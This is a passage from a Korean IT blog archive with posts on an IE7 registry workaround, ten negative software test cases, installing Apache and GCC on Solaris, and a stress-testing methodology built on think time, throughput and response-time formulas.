2009년 2월 24일 화요일

IE 7 에서 E-load 7.X 설치방법

image

1. HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\Version 값을 6.0으로 변경해준후 설치하면된다.

만약을 위해 백업을 해두시길..

2009년 2월 19일 목요일

Top10 Negative Test Cases

Top 10 Negative Test Cases

Negative test cases are designed to test the software in ways it was not intended to be used, and should be a part of your testing effort.  Below are the top 10 negative test cases you should consider when designing your test effort:

  1. Embedded Single Quote - Most SQL based database systems have issues when users store information that contain a single quote (e.g. John's car).  For each screen that accepts alphanumeric data entry, try entering text that contains one or more single quotes.
  2. Required Data Entry - Your functional specification should clearly indicate fields that require data entry on screens.  Test each field on the screen that has been indicated as being required to ensure it forces you to enter data in the field.
  3. Field Type Test - Your functional specification should clearly indicate fields that require specific data entry requirements (date fields, numeric fields, phone numbers, zip codes, etc).  Test each field on the screen that has been indicated as having special types to ensure it forces you to enter data in the correct format based on the field type (numeric fields should not allow alphabetic or special characters, date fields should require a valid date, etc).
  4. Field Size Test - Your functional specification should clearly indicate the number of characters you can enter into a field (for example, the first name must be 50 or less characters).  Write test cases to ensure that you can only enter the specified number of characters. Preventing the user from entering more characters than is allowed is more elegant than giving an error message after they have already entered too many characters.
  5. Numeric Bounds Test - For numeric fields, it is important to test for lower and upper bounds. For example, if you are calculating interest charged to an account, you would never have a negative interest amount applied to an account that earns interest, therefore, you should try testing it with a negative number.   Likewise, if your functional specification requires that a field be in a specific range (e.g. from 10 to 50), you should try entering 9 or 51, it should fail with a graceful message.
  6. Numeric Limits Test - Most database systems and programming languages allow numeric items to be identified as integers or long integers.  Normally, an integer has a range of -32,767 to 32,767 and long integers can range from
    -2,147,483,648 to 2,147,483,647.  For numeric data entry that do not have specified bounds limits, work with these limits to ensure that it does not get an numeric overflow error.
  7. Date Bounds Test - For date fields, it is important to test for lower and upper bounds. For example, if you are checking a birth date field, it is probably a good bet that the person's birth date is no older than 150 years ago.  Likewise, their birth date should not be a date in the future.
  8. Date Validity - For date fields, it is important to ensure that invalid dates are not allowed (04/31/2007 is an invalid date).  Your test cases should also check for leap years (every 4th and 400th year is a leap year).
  9. Web Session Testing - Many web applications rely on the browser session to keep track of the person logged in, settings for the application, etc.  Most screens in a web application are not designed to be launched without first logging in.   Create test cases to launch web pages within the application without first logging in.  The web application should ensure it has a valid logged in session before rendering pages within the application.
  10. Performance Changes - As you release new versions of your product, you should have a set of performance tests that you run that identify the speed of your screens (screens that list information, screens that add/update/delete data, etc).   Your test suite should include test cases that compare the prior release performance statistics to the current release.  This can aid in identifying potential performance problems that will be manifested with code changes to the current release.


Helpful Templates

Below are some helpful templates to aid you in developing software solutions on-time and on-budget:

About the Author
Steve Miller is the President of Pragmatic Software (http://www.PragmaticSW.com).  With over 21 years of experience, Steve has extensive knowledge in project management, software architecture and test design. Steve publishes a monthly newsletter for companies that design and develop software.  You can read other newsletters at http://www.PragmaticSW.com/Newsletters.asp.  Steve's email is steve.miller@PragmaticSW.com.


Pragmatic Software Co., Inc.
383 Inverness Parkway
Suite 280
Englewood, CO 80112

Phone: 303.768.7480
Fax: 303.768.7481
Web site: http://www.PragmaticSW.com
E-mail: info@PragmaticSW.com

아파치 서버(소스 컴파일) 설치하기 실습

아파치 서버(소스 컴파일) 설치하기 실습
먼저 이미 설치되어 있는 Apache 버전이 있는지 확인해 본다.
Sun Microsystems Inc.  SunOS 5.9      Generic May 2002
bash-2.05# pkginfo | grep httpd
bash-2.05# pkginfo | grep apache
bash-2.05# ps -ef | grep httpd
    root  769  501  0 14:12:09 pts/6    0:00 grep httpd
    --패키지로 설치 됐다면 삭제함.
    pkgrm 명령어로 지움
--설치전 다음과 같은 패키지 설치
make    -- make 설치후 링크 걸기
bash-2.05#ln -s /usr/local/bin/make /usr/bin/make
-- 패키지 설치 
expat,
libiconv,
gdbm,
db-4.2.52.NC,
openssl-0.9.7g
libgcc
gcc
-- 패키지 설치 방법
bash-2.05# gunzip openssl-0.9.7g-sol9-sparc-local.gz
bash-2.05# pkgadd -d openssl-0.9.7g-sol9-sparc-local
-- 다음과 같이 모든 패키지를 설치한다.
--환경 변수(PATH) 를 다음과 같이 설정한다.
bash-2.05# cat /.bash_profile
export PS1='\u@\H:\w>'
export PATH=$PATH:/usr/sbin:/usr/bin:/usr/ccs/bin:/usr/local:/usr/local/lib:/usr/local/bin:/usr/local/doc
bash-2.05#
bash-2.05#source .bash_profile --환경변수 적용
먼저 아파치 최신판을 다운로드 받아보겠다. 아파치의 배포판은
http://apache.org 에서 다운로드 받아보겠다.
다음과 같이 최신 버전을 설치 httpd-2.0.54.tar.gz (소스 컴파일로 설치)
bash-2.05#gunzip httpd-2.0.54.tar.gz
bash-2.05#tar -xvf httpd-2.0.54.tar
bash-2.05# cd httpd-2.0.54
bash-2.05# ls
ABOUT_APACHE      LICENSE          VERSIONING        config.nice      include          srclib
Apache.dsp        Makefile          acconfig.h        config.status    libhttpd.dsp      support
Apache.dsw        Makefile.in      acinclude.m4      configure        modules          test
BuildBin.dsp      Makefile.win      apachenw.mcp.zip  configure.in      modules.c
CHANGES          NOTICE            build            docs              modules.lo
INSTALL          NWGNUmakefile    buildconf        emacs-style      modules.o
InstallBin.dsp    README            config.layout    httpd            os
LAYOUT            README.platforms  config.log        httpd.spec        server
bash-2.05#./configure --prefix=/usr/local/apache2 --enable-mods-shared=all
            --enable-ssl=shared --enable-ssl --with-ssl=/usr/local/ssl
--configure 구성옵션 참조하기
http://httpd.apache.org/docs/2.0/ko/programs/configure.html
bash-2.05#make
bash-2.05#make install
--make 와 make install 동시에 실행하기
--bash-2.05#make && make install
--한번에 성공하길 ....
--만약 make 실패 제거 명령어
--bash-2.05#make clean
bash-2.05# pwd
/usr/local/apache2/conf
bash-2.05# ls
highperformance-std.conf  httpd.conf                mime.types
highperformance.conf      httpd1.conf              ssl-std.conf
httpd-std.conf            magic                    ssl.conf
bash-2.05#
bash-2.05# pwd
/usr/local/apache2/conf
-------------------------------------
  아파치 설정
-------------------------------------
bash-2.05# vi httpd.conf
328  #ServerName www.example.com:80
329  ServerName 203.247.202.47:80
--라인 주석 처리후 서버 IP 나 도메인 주소 입력
--후 포트 넘버 웹서버 80 명시
50  ServerRoot "/usr/local/apache2"
370  <Directory "/usr/local/apache2/htdocs">
--주석 제거후 다음과 같이 설정
345  DocumentRoot "/usr/local/apache2/htdocs"
--홈페이지 문서 루트 위치 지정함
410  #<Directory /home/*/public_html>
411  #    AllowOverride FileInfo AuthConfig Limit Indexes
412  #    Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
413  #    <Limit GET POST OPTIONS PROPFIND>
414  #        Order allow,deny
415  #        Allow from all
416  #    </Limit>
417  #    <LimitExcept GET POST OPTIONS PROPFIND>
418  #        Order deny,allow
419  #        Deny from all
420  #    </LimitExcept>
421  #</Directory>
--다음과 같이 주석 제거함
410  <Directory /home/*/public_html>
411      AllowOverride FileInfo AuthConfig Limit Indexes
412      Options MultiViews Indexes SymLinksIfOwnerMatch IncludesNoExec
413      <Limit GET POST OPTIONS PROPFIND>
414          Order allow,deny
415          Allow from all
416      </Limit>
417      <LimitExcept GET POST OPTIONS PROPFIND>
418          Order deny,allow
419          Deny from all
420      </LimitExcept>
421  </Directory>
:wq!
--아파치 설정 다음과 같이 수정합니다.
------------------------------------
bash-2.05#./apachectl start  --아파치 서버 가동
-- bash-2.05#./apachectl stop  --아파치 서버 중지
bash-2.05# ps -ef | grep httpd --아파치 프로세스 확인
    root  3037  535  0 15:57:33 pts/6    0:00 vi httpd.conf
    root  3097  528  0 18:51:05 pts/5    0:00 grep httpd
  nobody  2919  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
  nobody  2920  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
  nobody  2918  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
  nobody  2917  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
  nobody  2932  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
  nobody  2916  2912  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
    root  2912    1  0  7월 25 ?        0:00 /usr/local/apache2/bin/httpd -k start
bash-2.05#
bash-2.05# cd htdocs/
bash-2.05# ls
index.html
bash-2.05# pwd
/usr/local/apache2/htdocs
--다음과 같이 문서 홈 루트(/usr/local/apache2/htdoc)에
--index.html 파일 생성
bash-2.05# cat index.html
<html>
<head><title>Apache Test</title></head>
<body>
Apache Song Dae Sung Wow!!!
</body>
</html>
bash-2.05#
--브라우저로 확인
--url://http://localhost
로 작동 여부 확인

2009년 2월 18일 수요일

솔라리스에 아파치 설치하기

1. 필요파일 다운로드 받기
http://www.sunfreeware.com/ 에서 필요한 자료를 모두 다운 받습니다.
apache 종속관계된 모든 파일들을 받습니다. expat, libiconv, openldap, sasl, zlib, openssl-0.9.8j

2. 설치된 패키지를 확인 합니다.
# pkginfo -i | grep -i expat
# pkginfo -i | grep -i libiconv 
# pkginfo -i | grep -i openldap
# pkginfo -i | grep -i sasl
# pkginfo -i | grep -i zlib
# pkginfo -i | grep -i openssl

3. 기존에 설치된 Apache를 삭제 합니다.

기존에 설치되어 있는 패키지를 확인합니다.

# pkginfo -i | grep -i apache 

명령어를 통해 기존에 있던 아파치 패키지를 삭제 합니다.
# pkgrm 패키지 이름

4. 아파치 가 비활성화 됐음을 확인 합니다:

 #svcs -a | grep apache
legacy_run Sep_11lrc:/etc/rc3_d/S50apache

이것은 아파치 의 레가시 rc 시작 스크립트가 /etc/rc3_d/S50apache 임을 보여 줍니다. 스크립트는 아파치의 설정파일 /etc/apache/httpd.conf 의 존재를 찾습니다. 그리고 만약 파일이 존재 하지 않으면 아파치 1.3은 기동되지 않습니다. 아파치 를 비활성화 하려면 이전에 언급했던 패스에 파일이 존재하지 않음을 확인 하던지 혹은 시작 스크립트의 이름을 바꿔 버립니다.


이름을 다음에서:

etc/rc3_d/S50apache




다음으로 바꿉니다.


etc/rc3.d/OFF-S50apache





5.모든 파일들이 압축을 해제하고 -local 형식으로 합니다.(*는 파일이름을 적습니다.)


#  gunzip ./*.gz


#pkgadd –d *





6. 아파치를 설치합니다.(*는 파일이름을 적습니다.)


#> pkgadd -d apache*





7. 환경설정 파일의 위치를 지정해준다.


# /usr/local/apache2/bin/apachectl -f /usr/local/apache2/conf/httpd.conf





아래  이 파일 설정


솔라리스에서는 이것을 꼭 고쳐야 아파치가 실행이 됩니다.





# vi /usr/local/apache2/conf/httpd.conf


Group #-1 --> Group nogroup 으로 변경





8. 아파치 2 기동시키기:


# /usr/local/apache2/bin/apachectl start

솔라리스에 GCC, Make, Libiconv 설치하기

1. 먼저 libiconv와 gcc, make  package 파일을 다운 받습니다.
http://www.sunfreeware.com 에서 필요한 파일을 다운 받습니다.

2. libiconv 패키지 설치(*는 파일명을 입력하시기 바랍니다.)
# gzip –d lib*

# pkgadd –d lib*

3. gcc 패키지 설치(*는 파일명을 입력하시기 바랍니다.)

# gzip –d gcc*

# pkgadd –d gcc*

4. make 패키지 설치(*는 파일명을 입력하시기 바랍니다.)

# gunzip make*

# pkgadd –d make*

4. 패쓰 설정 및 link 
#  ln -s /usr/local/bin/gcc /usr/bin/gcc
# ln -s /usr/local/bin/make /usr/bin/

5. 확인 
# gcc
No Input file

# make
make: *** No targets specified and no makefile found.  Stop.

이렇게 나오면 정상입니다

2009년 2월 17일 화요일

스트레스테스트 방법론에 관한 연구

[(단일 어플리케이션에 대한) 스트레스테스트 방법론에 관한 연구]

0. 용어의 정의 및 통일의 필요성
용어상의 혼란을 막기 위해 몇가지 용어에 대한 정의를 내립니다.
사용자: 시스템을 사용하는 주체(일반적인 의미로 쓰임)
접속자: "사용자"와 동일한 의미를 가짐('사용자'보다는 좀더 구체적으로 쓰임)
엑티브유저(ActiveUser) : 요청을 한 이후 응답을 아직 받지 않은 사용자
인엑티브유저(InactiveUser) : 응답이 끊난 이후, 다음 요청을 보내기 전까지의 화면을
보고 있거나, 생각하는 사용자
동시단말사용자수(Concurrent User) = Active User수 + Inactive User수
컨커런트유저수(Concurrent User) = '동시단말사용자수'와 정의를 같이함.
동시사용자: '동시사용자'에 대한 정의가 Active User로 사용되는 경향이 있으나,
사용상의 혼란을 막기 위해 "동시사용자"는 "동시단말사용자"로
명시함. 가급적, "동시사용자"라는 다소 혼란을 초래하는 용어는 앞으로
사용치 않을 것을 권장함.
동시접속자: '동시단말사용자'와 동일함.
"요청을 날린 후 아직 응답을 받지 않은 총사용자수"에 대한 표현은 "Active User"
혹은 "Active사용자", "Active사용자수" 등과 같이 "Active(엑티브)"라는 용어를
반드시 붙여 사용할 것을 권장함.
PS: 사실, "동시단말사용자", "Active유저"만 사용하고, "일일총접속자수", "1시간당
총방문자수" 등과 같은 표현은 자유롭게 하여도 무방함.

1. 개요
본 문서는 국내에서 횡횡하고 있는 웹어플리케이션서버 기반의 벤치마크테스트과정상에서
어떻게 고객의 요구조건을 수렴하고, 어떻게 검증하는 지에 대한 방법론에 대한 연구가
적절치 않아 적잖은 어려움을 겪고 있는 담당자들을 위해 작성한 문서입니다.

2. 고객의 성능검증 요구조건
본 테스트를 위한 고객의 요구조건은 다음과 같다고 가정하겠습니다.
서비스레벨 요구조건(Service Level Specifications)
- 최대 수용가능한 동시단말사용자수
- 허용가능한 평균응답시간

설명의 편의를 위하여 다음과 같은 가정을 하겠습니다.

- 500명의 사용자를 견뎌야 함
- 평균응답시간은 3초 이내이어야 함
여기에서, 우선, "500명"이라고 했을 때의 그 500명에 대한 정의를 명확히 해야 합니다.
분분할 수 있으나, 다음과 같이 정하시면 됩니다.
요구조건에 대한 상세 변경
1) 사용자 500명이 견뎌야 한다. 여기서 '사용자'란 '동시단말사용자'로서, 예를 들어,
큰 컨퍼런스홀에서, 500명이 들어가 각자 자신의 단말기를 이용하여 자연스럽게 본
시스템을 사용할 때, 이때의 500명이 '동시단말사용자수'이다.
2) 500명의 동시단말사용자에 의해 시스템이 운영되고 있을 당시의 해당
응용어플리케이션의 평균응답시간이 3초 이내이어야 한다.
3) "ThinkTime"에 대한 추가 합의(본 예에서는 25초를 가정함)
3. 테스트 방법 및 절차
웹스트레스테스트를 위한 툴들은 다양하게 있습니다. 어느 것을 사용하든 상용툴을
사용할 것을 권합니다.

테스트를 시행하는 방법 및 절차는 크게 다음과 같이 2가지가 있을 수 있습니다.
3.1 첫번째 방법(실상황에 보다 근접한 시물레이션방법)
해당 사이트의 고유의 Think Time을 가정하여 이를 테스트시에 대입하는 방법입니다.
호출간격(RequestInterval),응답시간(ResponseTime) 및 Think Time의 정의는 다음과
같습니다.
+------------>+--->+---------------------------------------+-------->....
Click click
Response end
Response start
<--ResponseTime--><---------- Think Time --------------->
<------------------- Request Interval ------------------->
위와 같이 Think Time의 정의는 응답이 완전히 온 이후부터 다음번 Request를 날리기 전
까지의, 사용자가 "생각하는 시간"입니다. 이 수치는 해당 어플리케이션의 성능과 무관하게
비즈니스적인 사용자의 호출패턴에 따라 결정되는 수치인데, 일반적으로 다음과 같은
경험적인 수치를 사용할 수 있습니다.
[비즈니스별 Think Time 경험치]
TM(Telemarket) 시스템(Teler들에 의한 시스템) : 10-15초
MIS 인트라넷 시스템 : 15-20초
인터넷뱅킹 시스템 : 25-35초
온라인쇼핑몰 시스템 : 30-40초
온라인 커뮤너티 사이트 : 보다 길 수 있음.
(위수치는 본인의 경험자료일 뿐이며, 보다 정확한 것은 해당 사이트의 웹로그에서
직접 분석되어져 사용되어야 합니다.)
스트레스테스트 툴에서 위와 같은 ThinkTime(본 예제에서는 25초를 가정함)을 시나리오
입력하고, Virtual User는 테스트를 진행하면서 점차적으로 증가시키는데, 특정 Virtual
User에 대해서는 충분한 시간동안 측정하는 것으로 합니다. Virtual User를 끌어올린
후, 그 Virtual User에 대한 다음과 같은 두가지 그래프를 뽑아 내어야 합니다.

(1-1) Throughput(req/sec) vs Virtual User

33.3 (req/sec)
+ - - - _*---------------
/ .
17.5 / .
+. . ._/ .
/ .
/ . 임계점
/ . /
+-----+------+-------------------->
500 950
Virtual User(Think time 25sec)
(1-2) Average ResponseTime vs Virtual User
(평균응답시간)
*
*
*
임계평균응답시간 *
+3.5 (sec) _**
+2.5(sec)_* . 임계점
*-- . /
+-----+------+-------------------->
500 950
Virtual User(Think time 25sec)
Throughput(단위시간당 처리건수, req/sec)와 평균수행시간의 그래프를 그리고, 다음과
같은 테스트 수치가 나왔다고 가정해 보겠습니다.
1) 첫번째 (1-1) Throughput(req/sec) vs Virtual User 그래프에서 최대 Throughput은
33.3 tps 이었다.
2) 최초로 최대의 Throughput이 나타나는 시점, 즉 임계점은 Virtual User 950명일때였다.
3) 두번째 (1-2) 평균응답시간 vs Virtual User 그래프에서, 임계점(950명)에서의에서의
임계평균응답시간은 3.5초였다.
4) 반면, Virtual User 500명일 당시, 그래프 (1-1)에서 Throughput은 17.5 tps 이었다.
5) Virtual User 500명일 당시의 평균응답시간은 2.5(sec)였다.
결론: 이 시스템은, 25초간격의 Think Time을 가지는 최대 동시단말사용자 950명을 수용할
수 있으며, 그 시점에서의 임계평균응답시간은 3.5초이다.
고객 요구조건에 대한 검증:
- 최대 수용가능한 동시단말사용자는 요구된 500명보다 450명이 높은 950명까지 수용할 수
있으나,
- 평균응답시간은 동시단말사용자 950명일 경우 3.5초로써, 3초 이내가 아니다. 그러나,
고객의 목표치인 동시단말사용자 500명일 당시의 평균응답시간은 그래프 (2)에서 Virtual
User 500 일 때의 평균응답시간을 확인한 결과 2.5 초이므로, 사실상 고객의 요구조건을
만족하고 있다.
따라서, 테스트 결과, 고객의 요구조건을 모두 만족하고 있다.
[사족1: 엄밀히 이야기 하면, 스트레스테스트 툴은 Think time이 아니라, 호출간격(Request
Interval)을 입력할 수 있어야 하고, 시물레이션 되어야 합니다. 왜냐면, 이는 과거의
C/S시스템과 같이 응답이 오지 않으면, 응답이 올 때까지는 사용자가 버튼을 다시 누를
수 없는 상황에 대한 시물레이션이기 때문입니다. 그러나 인터넷 브라우져 환경은....
각설하고. 어쨌거나.]
3.2 두번째 방법
Think Time을 주지 않고도, 즉, Think Time을 0으로 셋팅하여 원하는 테스트를 할 수도
있습니다. 스트레스테스트 시에, Think Time을 주지 않은 채, 즉, 한 Virtual User는
응답오자 말자 곧바로 다시 반복적인 요청을 날립니다.
Think Time이 0 일 경우,앞서 첫번째 방법과는 확연히 다른 의미를 가지는 테스트가
일어납니다. 대표적인 변화 중의 하나는, 테스트시에 일어나는 Virtual User는 우리의
목표치 "동시단말사용자"를 의미하는 것이 아니라, Active유저의 수를 의미하기 때문에,
대부분 임계점이 나타나는 Virtual User의 수는 (상대적으로) 매우 낮은 범위에서
나타납니다.
상이한 두 WAS나 서로다른 어플리케이션에 대한 테스트일 경우는 해당 Virtual User의
범위는 달라도 됩니다. 간혹 "동일한 부하상황을 마련해줘야 하지 않으냐"라는 점에서
동일한 Virtual User를 부여하려는 잘못된 판단을 할 수도 있으나, ThinkTime을 0으로
부여할 경우는 그 의미가 다른 만큼, 각각의 임계점이 나타나는 근방을 중심으로 Virtual
User를 부여하여 테스트를 시행 하시면 됩니다.
Virtual User를 점차적으로 증가시키는데, 특정 Virtual User에 대해서는 충분한 시간동안
측정하는 것으로 합니다. Virtual User 증가에 따른 Throughput의 그래프와 평균응답시간의
그래프를 앞서와 같이 취득하는데, 테스트할 Virtual User의 범위는 그래프상의 임계점이
중심에 올수 있는 정도의 적당한 영역을 취하면 됩니다.
(2-1) Throughput(req/sec) vs Virtual User

33.3 (req/sec)
+ - - - _*---------------
/ .
/ .
+17.5 +/ .
/ .
/ . 임계점
/ . /
+-----+------+-------------------->
45 117
Virtual User(Think time 0 sec)
(2-2) Average ResponseTime vs Virtual User
(평균응답시간)
*
*
3.5 (sec) *
임계평균응답시간 *
+......... _**
_* -* . 임계점
*-- . /
+-----+------+-------------------->
45 117
Virtual User(Think time 0 sec)
측정후 다음과 같은 결론과 해석을 내려야 합니다.
1) Think Time이 0 으로 대입하였으므로, 테스트시에 대입한 User수는 "동시단말사용자수"를
의미하는 것이 아님을 분명히 인식시킨다.
2) 그래프(2-1)Throughput vs Virtual User 의 그래프에서, 최고 Throughput은 33.3 tps
이었다.
3) 그래프 (2-1)에서 최초로 최고의 Throughput이 나타나는 임계점은 Virtual User 117 명
이었다. (임계점이 Virtual User 117 이므로, 그래프상에서의 Virtual User는 0-150까지만
표현하여도 된다.)
3) 그래프(2-2) 평균응답시간 vs Virtual User의 그래프상에서, 임계점에서의 평균응답시간
즉, 임계평균응답시간은 3.5초로 나타났다.
해석:
만약, 본 시스템 사용자들의 평균 Think Time을 25초라고 가정한다면, 평균호출간격(Request
Interval)은 해당 임계점에서의 평균응답시간 3.5(sec)를 더하여 다음과 같다.

평균호출간격(Request Interval) = 평균응답시간 + Think Time ----------------[수식1]
= 3.5(sec) + 25(sec)
= 28.5 (sec).

따라서, "x(명)의 동시단말사용자가 28.5(sec) 간격으로 지속적인 호출을 발생하면,
서버측에는 평균적으로 33.3 (req/sec) 호출이 일어난다". 여기서 x는 다음과 같이,
동시단말사용자수X(명) / 평균호출간격(sec) = Throughput(req/sec) -----------[수식2]
라는 식으로 부터, 다음 식을 이끌어 낼 수 있다.
최대 동시단말사용자수(명) = Throughput(req/sec) x 평균호출간격(sec) --------[수식3]
= Throughput(req/sec) x {평균응답시간(sec) + ThinkTime(sec) }
= 33.3 (req/sec) x {3.5(sec) + 25 (sec)}
= 33.3 (req/sec) x 28.5(sec)
= 950(명)
따라서, 최대 동시단말사용자 950명을 수용할 수 있고, Think Time 25초를 가정하면,
서버측에는 1초당 33.3개의 서비스가 일어나며, 그 시점에서의 임계평균응답시간은 3.5초
이다.
요구조건에 대한 검증:
- 고객의 평균 ThinkTime 25초라는 가정하에, 최대수용가능한 동시단말사용자수는 위와
같이 950명으로, 요구된 500명보다 450명이 더 많다.
- 그러나, 950명의 동시단말사용자가 들어올 경우,즉 서버측에 33.3 (req/sec)로 호출이
일어나고 평균응답시간이 3.5초가 되는데, 이는 요구조건 3초이내에 있지 않다.
그러나, 고객과의 합의사항인 동시단말사용자 500명일 당시의 평균응답시간을 구해야
하는데, 동시단말사용자수는 호출빈도에 정비례하는 성질을 이용하여 다음과 같은 식을
도출할 수 있다. 동시단말사용자(명) : 호출빈도(req/sec) 의 비율식,
950(명) : 33.3(req/sec) = 500(명) : X(req/sec) ---------------------[수식4]

따라서, X ( req/sec) = 33.3(req/sec) x 500(명) / 950(명)
= 17.5 (req/sec)
즉, 500명의 동시단말사용자가 시스템을 사용하면, 서버측에는 초당 17.5 (req/sec)의
호출이 발생하게 된다. 이때의 평균응답시간이 어떻게 되는가? 그래프(2-1) 및 그래프
(2-2)에 이 정보가 모두 담겨 있을 것이다. 그래프 (2-1)에서 17.5 tps를 보이는 시점
에서의 Virtual User는 45명으로 나타났다. 이제 그래프(2-2)에서 Virtual User 45명일
당시의 평균응답속도는 얼마인가? 확인결과 2.5 sec 로 나타났다.

따라서, 500(명)의 동시단말사용자가 들어오면 서버측에는, 17.5 (req/sec)의 호출빈도가
일어나며, 이때 당시의 평균응답시간은 2.5 초로써, 고객의 요구 조건을 모두 만족한다.

따라서, 테스트 결과, 목표치를 모두 만족하고 있다.
[사족2: 위에서 Virtual User 45 및 117이 어떤 의미를 갖는 수치일까요?
동시단말사용자 500명이 접속하여 서버에 초당 17.5 (req/sec)를 보내고 있으며,
평균응답시간은 2.5(sec)를 유지할 당시, "Active유저수"는 45명이 될 것이며, 이는
또한 서버에서의 해당 시점에서 Running하고 있거나 큐잉되어있는 개수가 45개일 것
입니다.
만약, 동시단말사용자 950명이 접속할 경우, 서버에 초당 33.3(req/sec)의 호출빈도가
일어날 것이며, "Active유저수"는 117을 유지할 것입니다. 이는 서버에서 Running하고
있거나 큐잉되어있는 서비스의 개수를 의미합니다.]
4. 첨언
위와 같이 어느 방법을 사용하든 상관이 없습니다. 첫번째 방법은 웹스트레스테스트툴의
라이센스 비용이 많이 드는 반면, 실질적인 시물레이션을 할 수 있고, 두번째 방법은 적은
수의 Virtual User만으로도 계산적인 시물레이션을 할 수 있는 장점이 있습니다.
어느 것이나, 동일한 결과 및 동일한 결론을 얻을 수 있어야 하는 것은 당연한 것입니다.
어느 경우든, 핵심은 Throughput입니다. 단위시간당 최대로 처리할 수 있는 개수가 나오면,
몇명의 동시단말사용자를 수용할 수 있는지 바로 알 수 있습니다.
이에 반해 평균응답시간은 약간 다른 관점에서의 정보를 제공합니다. 10,000명을 수용할 수
있는 시스템일 지라도, 평균응답시간은 5분이 될 수도 있고, 3초가 될 수도 있습니다.
Throughput이 수용가능한 동시단말사용자수를 규정하는 변수라면, 평균응답시간은 서비스의
질을 규정하는 변수라고나 할까요.
5. 잘못된 스트레스테스트 시나리오를 정하는 경우.
대표적으로 잘못 테스트하는 경우는 다음과 같은 경우 입니다.
5.1 잘못된 벤치마크 시나리오 경우1
1) ThinkTime을 0 으로 셋팅하고,
2) Virtual User를 500명까지 끌어올린 후,
3) 그 때의 평균응답시간을 보아서, 3초 이내에 나오는 지를 확인 하는 경우입니다.

결과가 어떠할까요? 이처럼 테스트 할 경우 평균응답속도는,
3.5 (sec)
----------- x 500(명) = 14.96(sec) 가 나올 것입니다.
117(명)
이렇게 나온 14.96(sec) 결과가 무엇을 의미하는 수치인가요? 진정 아시나요?
[사족3: 예를 들어, 일일총방문자수가 700명인데, 업무적 특성으로인해 아침9시근방에
대부분이 몰릴 것이라는 가정을 해 볼 수 있습니다. 그래서 혹자는 총 방문자 7,00명중
500명이 아침9시에는 전부 접속할 것으로 보이니 "Active유저"가 500명이 가까이 될
것이다라는 잘못된 가정을 할 수 있습니다. 다시 한번, "일일총방문자수",
"동시단말사용자수", "Active유저수" 이 세가지 수치의 상관관계를 잘 생각해 보세요.
앞서 3.1의 응답시간(ResponseTime) 및 ThinkTime의 정의에서, "동시단말사용자수"와
"Active유저수"가 같다라는 것은 ThinkTime이 0 이라는 것과 같습니다. 즉, 9시근방에
모든 동시단말사용자 500명이 응답이 오자말자 ThinkTime없이 곧바로 다시 요청을 날리는
꼴이라는 것입니다. 이럴 수는 없죠. 즉, 결론적으로, "특정시각 근방에 사용자가
몰린다"는 것은, "일일총접속자수가 특정시각 근방에서 동시단말사용자수와 같을 수
있다"는 것은 있을 수 있으나, "동시단말사용자수가 Active유저수와 유사할 수 있다"는
절대적으로 틀린 이야기입니다. 다시 얘기하면, 예상되는 접속자 500명이 09시 근방에서
모두 "동시단말사용자"일수는 있어도, 결코 "Active유저"는 될 수 없습니다.
위 예에서 측정한 바와 같이, 동시단말사용자 500명일 경우에는 Active유저는 117명인
것입니다. (다음번 시나리오에서 동시단말사용자와 Actice유저의 상관관계수식이
언급됩니다.)
실제로는 발생하지도 않을 상황을 어거지로 가정하여 엉뚱한 테스트를 한 셈입니다. 더구나
이같은 테스트 결과로 나온 그 '평균응답시간'은 우리가 측정하려고 했던 그 수치가
아니라는데에 문제가 있다는 것이지요.]
5.2 잘못된 벤치마크 시나리오 경우2
1) ThinkTime을 0 으로 셋팅하고,
2) Virtual User를 동시단말사용자수의 10%인 50명까지 끌어올린 후,
3) 그 때의 평균응답시간을 보아서, 3초 이내에 나오는 지를 확인 하는 경우입니다.
이 경우는, 경험적인 수치인 "Active유저는 동시단말사용자의 10%일 것이다"라는 경험적
가정을 염두에 둔 경우입니다.
핵심은 그 10%가 진짜 10%일 것이냐가 관건입니다. 앞서의 경우, 동시단말사용자 500명일
경우에 Active유저수는 45명으로 나타났으나, 이를 50명으로 가정할 경우 다소 틀린
결과가 나타나겠지요.
수치적인 해석을 내려본다면, Throughput, Actice유저,평균응답시간에 관한 수식은
응답속도가 각각 s인 응용어플리케이션들이 동시에 n개가 수행되었다면, Throughput은
n/s 가 되는 것이 당연하므로, 다음과 같은 수식이 보입니다.
Throughput(req/sec) = Active유저수(명) / 평균응답시간(sec) ---------------[수식5]
즉,
Active유저수(명) = Throughput(req/sec) x 평균응답시간(sec) ---------------[수식5']

입니다. 예를 들어, Throughput이 17.5(req/sec)이고, 평균응답시간이 2.5(sec)라면,
Active유저수는 45명(17.5 x 2.5 = 43.75)이라는 것이지요.
여기에 앞서 [수식2]를 감안하면,
Active유저수(명) = Throughput(req/sec) x 평균응답시간(sec)
동시단말사용자수(명)
= ---------------------- x 평균응답시간(sec)
평균호출간격(sec)
동시단말사용자수(명)
= ------------------------------------ x 평균응답시간(sec)
평균응답시간(sec) + ThinkTime(sec)
평균응답시간(sec)
= 동시단말사용자수(명) x ----------------------------------- --[수식6]
평균응답시간(sec) + ThinkTime(sec)
과 같이 됩니다. 위 수식의 우측이 경험적으로 10%일 것이다라는 가정을 하고 있는
것이지요. 앞서 벤치마크시나리오의 경우에서, 동시단말사용자 500명일 경우에,
평균응답시간 2.5(sec), ThinkTime 25(sec)의 경우,
2.5(sec)/{2.5(sec)+25(sec)} = 0.0909(9.09%)가 나왔습니다.
반면, 동시단말사용자 950명일 경우에 평균응답시간 3.5(sec), ThinkTime 25(sec)의
경우는 3.5(sec)/{3.5(sec)+25(sec)} = 0.1228(12.28%)가 나왔습니다.
어쩌면, "흠, 그래. 그봐 10% 가까이 있잖아"라는 엉뚱한 결론을 속으로 내리고 있을
지 모르나, 위 수치들과 10%라는 수는 직접적인 상관관계를 갖고 있지 않습니다.
동시단말사용자수가 변함에 따라 평균응답시간이 늘어나기 때문에, 그 비율도 함께
덩달어 변하는 가변적인 수라는 것입니다.
[수식6])의 우측, 비율을 나타내는 부분은 함수 f(x) = x/(x+C),(C는 ThinkTime에 대한
